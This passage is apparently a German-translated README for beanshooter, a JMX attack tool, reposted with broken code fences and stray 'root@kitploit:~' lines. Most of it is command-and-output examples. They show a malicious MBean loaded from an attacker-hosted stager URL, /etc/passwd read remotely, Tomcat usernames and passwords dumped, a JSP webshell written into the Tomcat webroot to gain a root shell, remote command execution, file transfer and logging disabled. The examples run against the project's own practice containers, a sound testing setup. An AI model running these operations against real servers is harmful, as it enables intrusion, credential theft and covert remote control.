de.qtc.beanshooter:standard=4836961801045 was successfully deployed. [+] [+] Caught NullPointerException while invoking the newTransformer action. [+] This is expected bahavior and the attack most likely worked :) [+] [+] Removing MBean with ObjectName de.qtc.beanshooter:standard=4836961801045 from the MBeanServer. [+] MBean was successfully removed. [qtc@devbox ~]$ beanshooter tonka deploy 172.17.0.2 9010 --stager-url file:///tmp/index.html [+] Starting MBean deployment. [+] [+] Deplyoing MBean: TonkaBean [+] [+] MBean class is not known by the server. [+] Starting MBean deployment. [+] [+] Deplyoing MBean: MLet [+] MBean with object name DefaultDomain:type=MLet was successfully deployed. [+] [+] Loading MBean from file:///tmp/index.html [+] [+] MBean with object name MLetTonkaBean:name=TonkaBean,id=1 was successfully deployed.

root@kitploit:~
Wenn Sie mehr über die Technik erfahren möchten, die von der Aktion `standard` implementiert wird, empfehle ich sehr diesen [Blogbeitrag](https://codewhitesec.blogspot.com/2023/03/jmx-exploitation-revisited.html) von [CODE WHITE](https://twitter.com/codewhitesec), der sie sehr detailliert erklärt.

#### Undeploy

Die Aktion `undeploy` entfernt das *MBean* mit dem angegebenen `ObjectName` aus dem *JMX*-Dienst:```console
[qtc@devbox ~]$ beanshooter undeploy 172.17.0.2 9010 qtc.test:type=Example 
[+] Removing MBean with ObjectName qtc.test:type=Example from the MBeanServer.
[+] MBean was successfully removed.

MBean-Operationen


Im Gegensatz zu grundlegenden Operationen, die auf die allgemeine Funktionalität eines JMX-Endpunkts abzielen, zielen MBean-Operationen auf eine bestimmte MBean ab. Für jede unterstützte MBean stellt beanshooter einen weiteren Subparser zur Verfügung, der die verfügbaren Operationen und Optionen für die entsprechende MBean enthält. Die folgende Auflistung zeigt ein Beispiel für die mlet-MBean und den zugehörigen Subparser:```console [qtc@devbox ~]$ beanshooter mlet -h usage: beanshooter mlet [-h] ...

positional arguments:

root@kitploit:~
load                 load a new MBean from the specified URL
attr                 set or get MBean attributes
deploy               deploys the specified MBean on the JMX server
info                 print server information about the MBean
invoke               invoke the specified method on the MBean
stats                print local information about the MBean
status               checks whether the MBean is registered
undeploy             undeploys the specified MBEAN from the JMX server

named arguments: -h, --help show this help message and exit

root@kitploit:~
### Generische MBean-Operationen

---

Einige *beanshooter*-Operationen sind für jede *MBean* verfügbar und werden in diesem Abschnitt vorgestellt.
Diese generischen *MBean*-Operationen spiegeln oft die Funktionalität der [Basisoperationen](#basic-operations) wider,
jedoch ohne die Angabe eines *ObjectName* zu erfordern.

#### Generisches Attr

Die `attr`-Aktion funktioniert genauso wie die `attr`-Aktion der Basisoperationen. Allerdings muss der *ObjectName*
nicht mehr angegeben werden, da er in der angegebenen *MBean* enthalten ist.```console
[qtc@devbox ~]$ beanshooter tomcat attr 172.17.0.2 1090 users
Users:type=User,username="manager",database=UserDatabase
Users:type=User,username="admin",database=UserDatabase
Users:type=User,username="status",database=UserDatabase

Generisches Deploy

Die deploy-Aktion funktioniert im Wesentlichen wie die deploy-Aktion aus den grundlegenden Operationen. Da der Klassenname, der ObjectName und die implementierende jar-Datei jedoch bereits alle mit dem angegebenen MBean assoziiert sind, müssen Sie bei dieser Aktion nur die Option --stager-url angeben (vorausgesetzt, dass eine integrierte jar-Datei verfügbar ist):```console [qtc@devbox ~]$ beanshooter tonka deploy 172.17.0.2 9010 --stager-url http://172.17.0.1:8000 [+] Starting MBean deployment. [+] [+] Deplyoing MBean: TonkaBean [+] [+] MBean class is not known to the server. [+] Loading MBean from http://172.17.0.1:8000 [+] [+] Creating HTTP server on: 172.17.0.1:8000 [+] Creating MLetHandler for endpoint: / [+] Creating JarHandler for endpoint: /440441bf8c794d40a83caf1e34cd9993 [+] Starting HTTP server... [+] [+] Incoming request from: iinsecure.example [+] Requested resource: / [+] Sending mlet: [+] [+] Class: de.qtc.beanshooter.tonkabean.TonkaBean [+] Archive: 440441bf8c794d40a83caf1e34cd9993 [+] Object: MLetTonkaBean:name=TonkaBean,id=1 [+] Codebase: http://172.17.0.1:8000 [+] [+] Incoming request from: iinsecure.example [+] Requested resource: /440441bf8c794d40a83caf1e34cd9993 [+] Sending jar file with md5sum: 55a843002e13f763137d115ce4caf705 [+] [+] MBean with object name MLetTonkaBean:name=TonkaBean,id=1 was successfully deployed

root@kitploit:~
Ab *beanshooter v4.1.0* ist es auch möglich, die *TonkaBean* über die [standard](#standard)-Aktion bereitzustellen.
Die Bereitstellung von Beans über die `standard`-Aktion **erfordert keine** ausgehenden Netzwerkverbindungen vom Zielserver.

#### Generischer Export

Manchmal ist es nicht möglich, eine *MBean*-Implementierung mit dem *beanshooters*-Stagerserver bereitzustellen. Ein häufiges Szenario ist, dass ausgehende Verbindungen zu Ihrem lokalen Rechner blockiert sind. In solchen Situationen möchten Sie die *MBean* möglicherweise von einem anderen Ort laden, z. B. von einem *SMB*-Dienst im internen Netzwerk, auf den Sie Schreibzugriff haben.

Die Aktion `export` exportiert die *jar*-Datei, die die angegebene *MBean* implementiert, sowie ein entsprechendes *MLet HTML*-Dokument, das zum Laden der *MBean* mittels *MLet* erforderlich ist. Angenommen, Sie möchten die *TonkaBean* von einem *SMB*-Dienst bereitstellen, der auf `10.10.10.5` lauscht, könnten Sie den folgenden Befehl verwenden:```console
[qtc@devbox ~]$ beanshooter tonka export --export-dir export --stager-url file:////10.10.10.5/share/
[+] Exporting MBean jar file: export/tonka-bean-3.0.0-jar-with-dependencies.jar
[+] Exporting MLet HTML file to: export/index.html
[+] 	Class:     de.qtc.beanshooter.tonkabean.TonkaBean
[+] 	Archive:   tonka-bean-3.0.0-jar-with-dependencies.jar
[+] 	Object:    MLetTonkaBean:name=TonkaBean,id=1
[+] 	Codebase:  file:////10.10.10.5/share/

Danach können Sie die exportierte jar-Datei und die index.html-Datei zum SMB-Dienst hochladen und die beanshooters-Bereitstellungsaktion mit der Option --stager-url file:////10.10.10.5/share/index.html verwenden.

Allgemeine Informationen

Die Aktion info listet Methoden- und Attributinformationen des angegebenen MBean auf:```console [qtc@devbox ~]$ beanshooter tomcat info 172.17.0.2 1090 [+] MBean Class: org.apache.catalina.mbeans.MemoryUserDatabaseMBean [+] ObjectName: Users:type=UserDatabase,database=UserDatabase [+] [+] Attributes: [+] modelerType (type: java.lang.String , writable: false) [+] readonly (type: boolean , writable: false) [+] roles (type: [Ljava.lang.String; , writable: false) [+] groups (type: [Ljava.lang.String; , writable: false) [+] users (type: [Ljava.lang.String; , writable: false) [+] pathname (type: java.lang.String , writable: true) [+] writable (type: null , writable: false) [+] [+] Operations: [+] java.lang.String findGroup(java.lang.String groupname) [+] java.lang.String createUser(java.lang.String username, java.lang.String password, java.lang.String fullName) [+] void removeGroup(java.lang.String groupname) [+] void removeUser(java.lang.String username) [+] void save() [+] java.lang.String findRole(java.lang.String rolename) [+] void removeRole(java.lang.String rolename) [+] java.lang.String createGroup(java.lang.String groupname, java.lang.String description) [+] java.lang.String findUser(java.lang.String username) [+] java.lang.String createRole(java.lang.String rolename, java.lang.String description)

root@kitploit:~
#### Generischer Aufruf

Die Aktion `invoke` kann verwendet werden, um eine beliebige Methode auf dem angegebenen *MBean* aufzurufen:```console
[qtc@devbox ~]$ beanshooter tomcat invoke 172.17.0.2 1090 --signature 'findUser(String username)' admin
Users:type=User,username="admin",database=UserDatabase

Generische Statistiken

Die Aktion stats listet einige allgemeine Informationen über das angegebene MBean auf. Dies sind die Informationen, die beanshooters lokal über das entsprechende MBean speichert, und keine Serverinteraktion erforderlich ist.```console [qtc@devbox ~]$ beanshooter tonka stats [+] MBean: tonka [+] Object Name: MLetTonkaBean:name=TonkaBean,id=1 [+] Class Name: de.qtc.beanshooter.tonkabean.TonkaBean [+] Jar File: available (tonka-bean-3.0.0-jar-with-dependencies.jar)

root@kitploit:~
Die `Jar File`-Information gibt an, ob eine Implementierung des entsprechenden *MBean* in *beanshooter* integriert ist. Diese Jar-Datei wird bei der Bereitstellung verwendet, sofern sie nicht mit der Option `--jar-file` überschrieben wird. Derzeit ist *TonkaBean* das einzige *MBean*, für das eine *Jar File* verfügbar ist.

#### Generic Status

Die Aktion `status` prüft, ob das entsprechende *MBean* bereits im *JMX*-Dienst verfügbar ist:```console
[qtc@devbox ~]$ beanshooter tonka status 172.17.0.2 9010
[+] MBean Status: not deployed

Generisches Undeploy

Die Undeploy-Aktion entfernt das angegebene MBean von einem entfernten JMX-Dienst:```console [qtc@devbox ~]$ beanshooter tonka undeploy 172.17.0.2 9010 [+] Removing MBean with ObjectName MLetTonkaBean:name=TonkaBean,id=1 from the MBeanServer. [+] MBean was successfully removed.

root@kitploit:~
### Diagnostic

---

Der *DiagnosticCommandMBean* ist ein nützliches *MBean*, das oft standardmäßig auf *JMX-Servern* bereitgestellt wird.
Es implementiert verschiedene Methoden, die aus offensiver Perspektive interessant sind. Einige von
ihnen sind als *beanshooter*-Operationen implementiert. Andere können natürlich manuell aufgerufen werden.

#### Diagnostic Read

Die `read`-Operation kann verwendet werden, um Textdateien auf dem *MBean*-Server zu lesen. Die Operation verwendet die
`addCompilerDirective`-Methode, um eine Ausnahme auszulösen, die den Inhalt der angegebenen
Textdatei enthält:```console
[qtc@devbox ~]$ beanshooter diagnostic read 172.17.0.2 1090 /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...

Diese Technik wurde ursprünglich von @TheLaluka innerhalb des jolokia-exploitation-toolkit implementiert.

Diagnostischer Ladevorgang

Der load-Vorgang kann verwendet werden, um eine gemeinsam genutzte Bibliothek aus dem Dateisystem des JMX-Servers zu laden:```console [qtc@devbox ~]$ beanshooter diagnostic load 172.17.0.2 1090 /lib/x86_64-linux-gnu/libc.so.6 [+] The server complained about the missing function Agent_OnAttach [+] The specified library was loaded succesfully.

root@kitploit:~
#### Diagnostik-Logdatei

Die Aktion `logfile` kann verwendet werden, um den Speicherort der Logdatei der *JVM* zu ändern:```console
[qtc@devbox ~]$ beanshooter diagnostic logfile 172.17.0.2 1090 /tmp/test.log
[+] Logfile path was successfully set to /tmp/test.log

Diagnostisch Nolog

Die nolog-Aktion kann verwendet werden, um die Protokollierung zu deaktivieren (nützlich, um den Logdatei-Handle zu schließen):```console [qtc@devbox ~]$ beanshooter diagnostic nolog 172.17.0.2 1090 [+] Logging was disabled successfully.

root@kitploit:~
#### Diagnostik-Cmdline

Die Aktion `cmdline` gibt die Befehlszeile aus, mit der die *JVM* gestartet wurde:```console
[qtc@devbox ~]$ beanshooter diagnostic cmdline 172.17.0.2 1090
VM Arguments:
jvm_args: --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.util.concurrent=ALL-UNNAMED --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMED -Djava.util.logging.config.file=/usr/local/tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Dignore.endorsed.dirs= -Dcatalina.base=/usr/local/tomcat -Dcatalina.home=/usr/local/tomcat -Djava.io.tmpdir=/usr/local/tomcat/temp -Djava.rmi.server.hostname=iinsecure.example -Djavax.net.ssl.keyStorePassword=password -Djavax.net.ssl.keyStore=/opt/store.p12 -Djavax.net.ssl.keyStoreType=pkcs12 -Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.local.only=false -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.port=1090 -Dcom.sun.management.jmxremote.rmi.port=1099
java_command: org.apache.catalina.startup.Bootstrap start
java_class_path (initial): /usr/local/tomcat/bin/bootstrap.jar:/usr/local/tomcat/bin/tomcat-juli.jar
Launcher Type: SUN_STANDARD

Diagnose-Eigenschaften

Die Aktion props gibt eine Liste der Systemeigenschaften aus:```console [qtc@devbox ~]$ beanshooter diagnostic props 172.17.0.2 1090 #Mon Jul 25 19:17:52 UTC 2022 com.sun.management.jmxremote.rmi.port=1099 awt.toolkit=sun.awt.X11.XToolkit java.specification.version=11 sun.cpu.isalist= ...

root@kitploit:~
### HotSpot

---

Der *HotSpotDiagnosticMXBean* stellt eine Schnittstelle zur Verwaltung der *HotSpot Virtual Machine* bereit und unterstützt einige Methoden, die aus offensiver Perspektive nützlich sind.

#### HotSpot dump

Die Aktion `dump` erstellt einen Heapdump und speichert ihn an einem beliebigen Ort auf dem Anwendungsserver. Die einzige Voraussetzung ist, dass der Dump als Datei mit der Erweiterung `.hprof` gespeichert wird:```console
[qtc@devbox ~]$ beanshooter hotspot dump 172.17.0.2 1090 /tmp/dump.hprof
[+] Heapdump file /tmp/dump.hprof was created successfully.

HotSpot list

Die Aktion list gibt eine Liste der verfügbaren Diagnostic Options und deren zugehörigen Werte aus:```console [qtc@devbox ~]$ beanshooter hotspot list 172.17.0.2 1090 [+] HeapDumpBeforeFullGC (value = false, writable = true) [+] HeapDumpAfterFullGC (value = false, writable = true) [+] HeapDumpOnOutOfMemoryError (value = false, writable = true) [+] HeapDumpPath (value = , writable = true) ...

root@kitploit:~
#### HotSpot get

Die `get`-Aktion ermöglicht es, den Wert der angegebenen Option abzurufen:```console
[qtc@devbox ~]$ beanshooter hotspot get 172.17.0.2 1090 HeapDumpBeforeFullGC
[+] Name: HeapDumpBeforeFullGC
[+] Value: false
[+] Writable: true

HotSpot set

Die set-Aktion ermöglicht es, den Wert der angegebenen Option festzulegen:```console [qtc@devbox ~]$ beanshooter hotspot set 172.17.0.2 1090 HeapDumpBeforeFullGC true [+] Option was set successfully. [qtc@devbox ~]$ beanshooter hotspot get 172.17.0.2 1090 HeapDumpBeforeFullGC [+] Name: HeapDumpBeforeFullGC [+] Value: true [+] Writable: true

root@kitploit:~
### MLet

---

Der *MLetMBean* ist ein bekannter *MBean*, der zum Laden weiterer *MBeans* über das Netzwerk verwendet werden kann. Er wird bereits implizit von der `deploy`-Aktion von *beanshooters* genutzt, kann aber auch manuell über die `mlet`-Operation aufgerufen werden.

#### MLet Load

Die derzeit einzige implementierte *MLet*-Methode ist die `load`-Operation, mit der eine *MBean*-Klasse von einer benutzerdefinierten *URL* geladen werden kann:```console
[qtc@devbox ~]$ beanshooter mlet load 172.17.0.2 9010 tonka http://172.17.0.1:8000
[+] Starting MBean deployment.
[+]
[+] 	Deplyoing MBean: MLet
[+] 	MBean with object name DefaultDomain:type=MLet was successfully deployed.
[+]
[+] Loading MBean from http://172.17.0.1:8000
[+]
[+] 	Creating HTTP server on: 172.17.0.1:8000
[+] 		Creating MLetHandler for endpoint: /
[+] 		Creating JarHandler for endpoint: /3584de270132420aaf0812366bc46035
[+] 		Starting HTTP server... 
[+] 		
[+] 	Incoming request from: iinsecure.example
[+] 	Requested resource: /
[+] 	Sending mlet:
[+]
[+] 		Class:     de.qtc.beanshooter.tonkabean.TonkaBean
[+] 		Archive:   3584de270132420aaf0812366bc46035
[+] 		Object:    MLetTonkaBean:name=TonkaBean,id=1
[+] 		Codebase:  http://172.17.0.1:8000
[+]
[+] 	Incoming request from: iinsecure.example
[+] 	Requested resource: /3584de270132420aaf0812366bc46035
[+] 	Sending jar file with md5sum: b2f7040f7d8f2d1f40b205d631ff7356
[+]
[+] MBean was loaded successfully.

Das obige Beispiel zeigt, wie der TonkaBean manuell mit der mlet-Operation geladen werden kann. Wenn Sie stattdessen einen benutzerdefinierten MBean laden möchten, müssen Sie das Schlüsselwort custom anstelle von tonka angeben und die Optionen --class-name, --object-name und --jar-file bereitstellen:```console [qtc@devbox ~]$ beanshooter mlet load 172.17.0.2 9010 custom http://172.17.0.1:8000 --class-name de.qtc.beanshooter.ExampleBean --object-name ExampleBean:name=ExampleBean,id=1 --jar-file www/example.jar [+] Starting MBean deployment. [+] ... [+] MBean was loaded successfully.

root@kitploit:~
### Recoder

---

Das *FlightRecorderMXBean* bietet eine Schnittstelle zur Verwaltung des *Flight Recorders*
und unterstützt einige Methoden, die aus offensiver Sicht interessant sind.

#### Recoder new

Die `new`-Operation startet eine neue Aufzeichnung. Die zurückgegebene Aufzeichnungs-ID kann als Ziel
für andere Operationen verwendet werden:```console
[qtc@devbox ~]$ beanshooter recorder new 172.17.0.2 1090
[+] Requesting new recording on the MBeanServer.
[+] New recording created successfully with ID: 1

Recoder start

Die start-Aktion startet eine bereits vorhandene Aufzeichnung und erwartet die Aufzeichnungs-ID als zusätzliches Argument:```console [qtc@devbox ~]$ beanshooter recorder start 172.17.0.2 1090 1 [+] Recording with ID 1 started successfully.

root@kitploit:~
#### Recorder-Dump

Während eine Aufzeichnung aktiv ist, können ihre Inhalte mit der Aktion `dump` ausgegeben werden. Dies speichert die Aufzeichnungsinformationen in einer Dump-Datei auf dem *JMX-Server*:```console
[qtc@devbox ~]$ beanshooter recorder dump 172.17.0.2 1090 1 /tmp/dump.dat
[+] Recording with ID 1 was successfully dumped to /tmp/dump.dat

Recorder stop

Die stop Aktion kann verwendet werden, um eine Aufnahme zu stoppen:```console [qtc@devbox ~]$ beanshooter recorder stop 172.17.0.2 1090 1 [+] Recording with ID 1 stopped successfully.

root@kitploit:~
#### Recorder speichern

Nachdem eine Aufnahme gestoppt wurde, kann sie mit der Aktion `save` gespeichert werden. Im Gegensatz zur Aktion `dump` speichert dies die Aufnahme auf dem lokalen Rechner anstatt auf dem Anwendungsserver.```console
[qtc@devbox ~]$ beanshooter recorder save 172.17.0.2 1090 1 recording.dat
[+] Saving recording with ID: 1
[+] Writing recording data to: /home/qtc/recording.dat

Tomcat


Die tomcat-Operation interagiert mit dem MemoryUserDatabaseMBean von Apache Tomcat. Dieses MBean bietet Zugriff auf Benutzerkonten, die auf einem Tomcat-Dienst verfügbar sind.

Tomcat Dump

Die dump-Aktion gibt die auf dem Tomcat-Server verfügbaren Benutzernamen und Passwörter in lokale Dateien aus. Wird es mit einem einzigen Argument aufgerufen, werden die Anmeldedaten im Format <username>:<password> ausgegeben:```console [qtc@devbox ~]$ beanshooter tomcat dump 172.17.0.2 1090 creds.txt [+] Dumping credentials... [+] Users dumped to /home/qtc/creds.txt [qtc@devbox ~]$ cat creds.txt manager:P@55w0rD# admin:s3cr3T!$ status:[email protected]

root@kitploit:~
Wenn mit zwei Argumenten aufgerufen, werden Benutzernamen im ersten angegebenen Speicherort gespeichert, Passwörter im zweiten:```console
[qtc@devbox ~]$ beanshooter tomcat dump 172.17.0.2 1090 users.txt passwords.txt
[+] Dumping credentials...
[+] Users dumped to /home/qtc/users.txt
[+] Passwords dumped to /home/qtc/passwords.txt

Tomcat-Liste

Der list-Vorgang listet verfügbare Benutzerkonten, deren zugehörige Rollen und Anmeldeinformationen auf:```console [qtc@devbox ~]$ beanshooter tomcat list 172.17.0.2 1090 [+] Listing tomcat users: [+] [+] ---------------------------------------- [+] Username: manager [+] Password: P@55w0rD# [+] Roles: [+] Users:type=Role,rolename="manager-gui",database=UserDatabase [+] Users:type=Role,rolename="manager-script",database=UserDatabase [+] Users:type=Role,rolename="manager-jmx",database=UserDatabase [+] Users:type=Role,rolename="manager-status",database=UserDatabase [+] [+] ---------------------------------------- [+] Username: admin [+] Password: s3cr3T!$ [+] Roles: [+] Users:type=Role,rolename="admin-gui",database=UserDatabase [+] Users:type=Role,rolename="admin-script",database=UserDatabase [+] [+] ---------------------------------------- [+] Username: status [+] Password: [email protected] [+] Roles: [+] Users:type=Role,rolename="manager-status",database=UserDatabase

root@kitploit:~
#### Tomcat Write

Der `write`-Vorgang schreibt eine teilweise kontrollierte Datei an einen beliebigen Ort auf dem Anwendungsserver. Diese Aktion kann verwendet werden, um zuverlässig eine Webshell auf einem *Tomcat*-Dienst bereitzustellen:```console
[qtc@devbox ~]$ beanshooter tomcat write 172.17.0.2 1090 /opt/webshell-cli/webshells/webshell.jsp /usr/local/tomcat/webapps/ROOT/shell.jsp
[+] Writing local file /opt/webshell-cli/webshells/webshell.jsp to server location /usr/local/tomcat/webapps/ROOT/shell.jsp
[+] 	Current user database is at conf/tomcat-users.xml
[+] 	Current user database is readonly
[+] 	Adjusting readonly property to make it writable.
[+] 	Changing database path to /usr/local/tomcat/webapps/ROOT/shell.jsp
[+] 	Creating new role containing the local file content.
[+] 	Saving modified user database.
[+] 	Restoring readonly property.
[+] 	Restoring pathname property.
[+] All done.
[qtc@devbox ~]$ webshell-cli http://172.17.0.2:8080/shell.jsp
[root@d475fdb21692 /usr/local/tomcat]$ id
uid=0(root) gid=0(root) groups=0(root)

Die write-Aktion nutzt einen Encoding-Fehler im UserDatabase MBean von Apache Tomcat aus. Wir haben den Fehler gemeldet, aber er wurde nicht als Sicherheitslücke betrachtet. Zum Schreiben an beliebige Orte muss beanshooter den Speicherort der UserDatabase ändern. Alle Änderungen werden nach dem Schreiben der gewünschten Datei rückgängig gemacht, aber seien Sie trotzdem vorsichtig in Produktionsumgebungen.

Tonka


Der TonkaBean ist ein benutzerdefinierter MBean, der vom beanshooter-Projekt implementiert wird und Dateisystemzugriff sowie Befehlsausführung auf dem JMX-Server ermöglicht. Auf seine Aktionen kann über die tonka-Operation zugegriffen werden, gefolgt von der gewünschten Aktion.

Tonka Exec

Die exec-Aktion kann verwendet werden, um einen einzelnen Befehl auf dem JMX-Dienst aufzurufen:```console [qtc@devbox ~]$ beanshooter tonka exec 172.17.0.2 9010 id [+] Invoking the executeCommand method with argument: id [+] The call was successful [+] [+] Server response: uid=0(root) gid=0(root) groups=0(root)

root@kitploit:~
Das letzte Argument der exec-Operation muss ein String sein. Wenn die Option `--shell` nicht verwendet wird, wird dieser String an Leerzeichen geteilt (unter Berücksichtigung von Anführungszeichen) und als Array an die `ProcessBuilder`-Klasse auf der Serverseite übergeben.

Wenn `--shell` verwendet wurde, wird der angegebene Shell-String an Leerzeichen geteilt und das resultierende Array wird mit dem angegebenen Argument-String verbunden, bevor es an die `ProcessBuilder`-Klasse übergeben wird. Dies ermöglicht eine shell-ähnliche Ausführung mit korrekt interpretierten Shell-Sonderzeichen:```console
[qtc@devbox ~]$ beanshooter tonka exec 172.17.0.2 9010 --shell 'ash -c' 'echo $HOSTNAME'
[+] Invoking the executeCommand method with argument: ash -c echo $HOSTNAME
[+] The call was successful
[+]
[+] Server response:
fee2d783023b

Der Einfachheit halber werden gängige Shells automatisch mit dem erforderlichen Befehlszeichenfolgen-Argument versehen. Daher wird --shell ash automatisch in --shell 'ash -c' umgewandelt.

Tonka Execarray

Die execarray-Operation ist der exec-Aktion sehr ähnlich, erwartet jedoch nicht einen String als Argument und teilt diesen String an Leerzeichen, um das Befehlsarray zu erstellen, sondern die execarray-Operation ermöglicht die Angabe mehrerer Argumente, die direkt als Befehlsarray für die ProcessBuilder-Klasse verwendet werden:```console [qtc@devbox ~]$ beanshooter tonka execarray 172.17.0.2 9010 -- ash -c 'echo $HOME' [+] Invoking the executeCommand method with argument: ash -c echo $HOME [+] The call was successful [+] [+] Server response: /root

root@kitploit:~
#### Tonka Shell

Die `shell`-Aktion startet eine Befehlsshell, in der Sie Befehle angeben können, die auf dem *JMX*-Server ausgeführt werden. Die Shell ist nicht vollständig interaktiv und stellt nur einen Wrapper um die `Runtime.exec`-Methode von *Java* dar. Es ist jedoch eine grundlegende Unterstützung für Umgebungsvariablen und ein aktuelles Arbeitsverzeichnis implementiert:```console
[qtc@devbox ~]$ beanshooter tonka shell 172.17.0.2 9010
[[email protected] /]$ id
uid=0(root) gid=0(root) groups=0(root)
[[email protected] /]$ cd /home
[[email protected] /home]$ !env test=example
[[email protected] /home]$ echo $test
example

Das obige Beispiel zeigt, wie Umgebungsvariablen mit dem Schlüsselwort !env gesetzt werden. Neben diesem Schlüsselwort stehen mehrere andere zur Verfügung:```console [qtc@devbox ~]$ beanshooter tonka shell 172.17.0.2 9010 [[email protected] /]$ !help Available shell commands: execute the specified command cd

change working directory on the server exit|quit exit the shell !help|!h print this help menu !environ|!env = set new environment variables in key=value format !upload|!put upload a file to the remote MBeanServer !download|!get download a file from the remote MBeanServer !background|!back executes the specified command in the background

root@kitploit:~
#### Tonka Upload

Die `upload`-Aktion kann verwendet werden, um eine Datei auf den *JMX*-Server hochzuladen:```console
[qtc@devbox ~]$ beanshooter tonka upload 172.17.0.2 9010 file.dat /tmp
[+] Uploading local file /home/qtc/file.dat to path /tmp on the MBeanSerer.
[+] 33 bytes were written to /tmp/file.dat

Tonka Download

Die Aktion download kann verwendet werden, um eine Datei vom JMX-Server herunterzuladen:```console [qtc@devbox ~]$ beanshooter tonka download 172.17.0.2 9010 /etc/passwd [+] Saving remote file /etc/passwd to local path /home/qtc/passwd [+] 1172 bytes were written to /home/qtc/passwd

root@kitploit:~
### JMXMP

---

*JMX* Dienste können verschiedene Verbindungstypen verwenden. Der mit Abstand am häufigsten verwendete Verbindungstyp ist *Java RMI*, der
den Zugriff auf *JMX* basierend auf dem *Java RMI*-Protokoll ermöglicht. Ein weiterer verbreiteter Verbindungstyp ist das *JMX Message Protocol*
(*JMXMP*), das trotz seiner Veralterung immer noch recht häufig anzutreffen ist. *beanshooter* bietet integrierte *JMXMP*-Unterstützung
und versucht, sich über *JMXMP* zu verbinden, wenn die Option `--jmxmp` verwendet wird:```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 4444 --jmxmp
[+] Checking servers SASL configuration:
[+]
[+] 	- Remote JMXMP server does not use SASL.
[+] 	  Login is possible without specifying credentials.
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] Checking pre-auth deserialization behavior:
[+]
[+] 	- JMXMP serial check is work in progress but endpoints are usually vulnerable.
[+] 	  Configuration Status: Undecided
[+]
[+] Checking available MBeans:
[+]
[+] 	- 22 MBeans are currently registred on the MBean server.
[+] 	  Found 0 non default MBeans.

Authentifizierte JMXMP-Endpunkte werden normalerweise mit SASL geschützt. Wenn SASL aktiviert ist, erfordert ein JMX-Endpunkt in der Regel, dass der Client mit einem bestimmten SASL-Profil verbindet. Verfügbare Profile für beanshooter sind:

  • plain
  • digest
  • cram
  • ntlm
  • gssapi

Jedes von ihnen kann optional mit TLS gepaart werden, indem die --ssl-Option verwendet wird. Bei Verwendung der enum-Aktion an einem SASL-geschützten JMXMP-Endpunkt versucht beanshooter, das erforderliche SASL-Profil zu ermitteln. Während die Bestimmung des erforderlichen SASL-Mechanismus normalerweise möglich ist, kann die erforderliche TLS-Einstellung nicht enumeriert werden:```console [qtc@devbox ~]$ beanshooter enum 172.17.0.2 4449 --jmxmp [+] Checking servers SASL configuration: [+] [+] - Remote JMXMP server uses SASL/NTLM SASL profile. [+] Notice: TLS setting cannot be enumerated and --ssl may be required. [+] Vulnerability Status: Non Vulnerable [+] [+] Checking pre-auth deserialization behavior: [+] [+] - JMXMP serial check is work in progress but endpoints are usually vulnerable. [+] Configuration Status: Undecided

root@kitploit:~
### Jolokia Unterstützung

---

Ab *v4.0.0* unterstützt *beanshooter* [Jolokia](https://github.com/rhuss/jolokia)-basierte JMX-Endpunkte.
Um eine Verbindung zu einem *Jolokia*-basierten Endpunkt herzustellen, werden das übliche Zielformat und die `--jolokia`-Flagge benötigt:```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 8080 --jolokia --username manager --password admin
[+] Checking specified credentials:
[+]
[+] 	- Login successful! The specified credentials are correct.
[+] 	  Username: manager  - Password: admin
[+]
[+] Checking Jolokia Version:
[+]
[+] 	- Agent Version 1.7.1 - Protocol Version: 7.2
[+] 	  Vulnerability Status: Non Vulnerable
[+]
[+] Checking whether Jolokia Proxy Mode is enabled:
[+]
[+] 	- Jolokia Proxy Mode is enabled! You may connect to backend JMX services.
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] Checking available MBeans:
[+]
[+] 	- 75 MBeans are currently registred on the MBean server.
[+] 	  Listing 56 non default MBeans:
...

Aufgrund des eingeschränkten Funktionsumfangs von Jolokia werden nicht alle beanshooter-Operationen unterstützt. Bitte konsultieren Sie die Jolokia FAQ bei Fragen. Zum Herumspielen mit Jolokia stellt beanshooter einen Beispiel-Server bereit, der einen Jolokia-Endpunkt auf Port 8080 freigibt. Zusätzlich ist ein regulärer RMI-basierter JMX-Endpunkt auf Port 1090 verfügbar.

Docker-Image


Seit Version v3.1.1 ist beanshooter auch als Docker-Image verfügbar und kann aus der GitHub Container Registry bezogen werden. Für jede Version gibt es eine normale und eine schlanke Version. Beide bieten eine voll funktionsfähige Version von beanshooter, aber nur die normale Version enthält ysoserial, was zu einer größeren Image-Größe führt:

  • docker pull ghcr.io/qtc-de/beanshooter/beanshooter:4.1.0 - 124MB
  • docker pull ghcr.io/qtc-de/beanshooter/beanshooter:4.1.0-slim - 64.8MB

Sie können den Container auch selbst erstellen, indem Sie die folgenden Befehle ausführen:```console [user@host ~]$ git clone https://github.com/qtc-de/beanshooter [user@host ~]$ cd beanshooter && docker build -t beanshooter .

root@kitploit:~
### Beispielserver

---

![](https://github.com/qtc-de/beanshooter/workflows/example%20server%20-%20master/badge.svg?branch=master)
![](https://github.com/qtc-de/beanshooter/workflows/example%20server%20-%20develop/badge.svg?branch=develop)

Die meisten der oben vorgestellten Beispiele basieren auf dem [jmx-example-server](https://github.com/qtc-de/beanshooter/pkgs/container/beanshooter%2Fjmx-example-server)
und dem [tomcat-example-server](https://github.com/qtc-de/beanshooter/pkgs/container/beanshooter%2Ftomcat-example-server).
Diese Server befinden sich in diesem Repository im Ordner [docker](https://github.com/qtc-de/beanshooter/blob/HEAD/docker) und können zum Üben der *JMX*-Enumeration verwendet werden.
Sie können die entsprechenden Container entweder selbst erstellen oder direkt aus der *GitHub Container Registry* laden.

